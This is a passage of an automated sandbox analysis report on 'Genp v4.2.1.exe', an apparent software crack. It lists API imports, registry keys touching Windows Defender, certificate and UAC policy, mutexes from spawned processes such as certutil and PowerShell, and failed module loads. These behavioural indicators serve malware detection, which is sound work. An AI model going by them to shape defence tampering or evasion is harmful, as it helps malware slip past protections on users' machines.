00000000-00006656.00000001.260210.6FD91000.00000020.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp, 00000000-00006656.00000001.260210.74461000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00006656.00000000.258291.02B20000.00000004.mdmp")37:T51b,Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "Genp v4.2.1.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "Genp v4.2.1.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "Genp v4.2.1.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; File: "Genp v4.2.1.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00001656.00000002.257253.743F9000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp")38:T1179,"Software\AutoIt v3\AutoIt" in Source: Genp v4.2.1.exe "SOFTWARE\Classes\" in Source: Genp v4.2.1.exe "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: Genp v4.2.1.exe "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 29456-159-008D322A "SOFTWARE\Microsoft\PowerShell\3" in Source: 29456-196-008D19AB "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 29456-513-008C6400 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 29456-522-008C6E30 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 29456-522-008C6E30 "SOFTWARE\Microsoft\PowerShell" in Source: 29456-524-008C7130 "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: AMSI "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00001656.00000000.254252.04000000.00000004.mdmp 00000000-00001656.00000001.256170.04000000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00001656.00000001.256170.0182B000.00000004.mdmp 00000000-00001656.00000002.257253.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Root" in Source: 00000000-00001656.00000001.256170.0182B000.00000004.mdmp 00000000-00001656.00000002.257253.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Disallowed" in Source: 00000000-00001656.00000001.256170.0182B000.00000004.mdmp 00000000-00001656.00000002.257253.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\TrustedPeople" in Source: 00000000-00001656.00000001.256170.0184A000.00000004.mdmp 00000000-00001656.00000002.257253.01847000.00000004.mdmp "Software\Microsoft\EnterpriseCertificates\TrustedPeople\PhysicalStores" in Source: 00000000-00001656.00000001.256170.01861000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\trust" in Source: 00000000-00001656.00000001.256170.01861000.00000004.mdmp 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "Software\Microsoft\Cryptography\OID" in Source: 00000000-00001656.00000001.256170.01861000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00001656.00000002.257253.743C1000.00000020.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00001656.00000002.257253.743C1000.00000020.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00001656.00000002.257253.743C1000.00000020.mdmp "e\SOFTWARE\Mic" in Source: 00000000-00005740.00000000.258418.01400000.00000004.mdmp 00000000-00005740.00000001.258505.01400000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005740.00000001.258505.01400000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006656.00000001.260210.02B20000.00000004.mdmp 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006656.00000001.260210.02B20000.00000004.mdmp 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006656.00000001.260210.02B20000.00000004.mdmp 00000000-00006656.00000002.261062.02B3A000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006656.00000001.260210.02DC0000.00000004.mdmp 00000000-00006656.00000002.261062.02DC0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006656.00000001.260210.02DC0000.00000004.mdmp 00000000-00006656.00000002.261062.02DC0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006656.00000001.260210.070E2000.00000004.mdmp 00000000-00006656.00000002.261062.070E2000.00000004.mdmp39:T94a,Process Genpv4.2.1.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6860:304:WilStaging_02" Process Genpv4.2.1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6860:304:WilStaging_02" Process Genpv4.2.1.exe created mutex with name "SM0:6860:304:WilStaging_02" Process Genpv4.2.1.exe created mutex with name "Local\SM0:6860:304:WilStaging_02" Process GenP-v4.2.1.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7688:304:WilStaging_02" Process GenP-v4.2.1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7688:304:WilStaging_02" Process GenP-v4.2.1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03" Process GenP-v4.2.1.exe created mutex with name "SM0:7688:304:WilStaging_02" Process GenP-v4.2.1.exe created mutex with name "Local\SM0:7688:120:WilError_03" Process GenP-v4.2.1.exe created mutex with name "Local\SM0:7688:304:WilStaging_02" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1656:168:WilStaging_02" Process svchost.exe created mutex with name "Local\SM0:1656:168:WilStaging_02" Process svchost.exe created mutex with name "SM0:1656:168:WilStaging_02" Process svchost.exe created mutex with name "SM0:1656:64:WilError_03" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1656:168:WilStaging_02" Process svchost.exe created mutex with name "\BaseNamedObjects\WEBR_VS6J13OLX77U" Process svchost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1656:64:WilError_03" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:788:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:788:304:WilStaging_02" Process certutil.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5304:304:WilStaging_02" Process certutil.exe created mutex with name "SM0:5304:304:WilStaging_02" Process OSPPSVC.EXE created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process OSPPSVC.EXE created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process OSPPSVC.EXE created mutex with name "RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process OSPPSVC.EXE created mutex with name "Local\SM0:5880:168:WilStaging_02"3a:T1601,"Genpv4.2.1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "Genpv4.2.1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "Genpv4.2.1.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "Genpv4.2.1.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]3b:T361e,"$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00001656.00000000.254252.04000000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00001656.00000001.256170.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Root" in Source: 00000000-00001656.00000001.256170.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Disallowed" in Source: 00000000-00001656.00000001.256170.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\TrustedPeople" in Source: 00000000-00001656.00000001.256170.0184A000.00000004.mdmp "Software\Microsoft\EnterpriseCertificates\TrustedPeople\PhysicalStores" in Source: 00000000-00001656.00000001.256170.01861000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\trust" in Source: 00000000-00001656.00000001.256170.01861000.00000004.mdmp "Software\Microsoft\Cryptography\OID" in Source: 00000000-00001656.00000001.256170.01861000.00000004.mdmp "$uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" in Source: 00000000-00001656.00000001.256170.04000000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\CA" in Source: 00000000-00001656.00000002.257253.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Root" in Source: 00000000-00001656.00000002.257253.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\Disallowed" in Source: 00000000-00001656.00000002.257253.0182B000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\TrustedPeople" in Source: 00000000-00001656.00000002.257253.01847000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "Software\Policies\Microsoft\SystemCertificates\trust" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00001656.00000002.257253.0185D000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00001656.00000002.257253.743C1000.00000020.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00001656.00000002.257253.743C1000.00000020.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00001656.00000002.257253.743C1000.00000020.mdmp "e\SOFTWARE\Mic" in Source: 00000000-00005740.00000000.258418.01400000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005740.00000001.258505.01400000.00000004.mdmp "e\SOFTWARE\Mic" in Source: 00000000-00005740.00000001.258505.01400000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006656.00000001.260210.02B20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006656.00000001.260210.02B20000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00006656.00000001.260210.02B20000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006656.00000001.260210.02DC0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006656.00000001.260210.02DC0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006656.00000001.260210.070E2000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{E7D35CFA-348B-485E-B524-252725D697CA}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9F6C78EF-FCE5-42FA-ABEA-3E7DF91921DC}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006656.00000001.260210.08850000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "HKLM\" in Source: 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00006656.00000001.260210.74461000.00000020.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00006656.00000001.260210.74461000.00000020.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00006656.00000001.260210.74461000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006656.00000002.261062.008C1000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006656.00000002.261062.008C1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006656.00000002.261062.008C1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006656.00000002.261062.008C1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006656.00000002.261062.008C1000.00000020.mdmp "Software\Microsoft\Active Setup\Installed 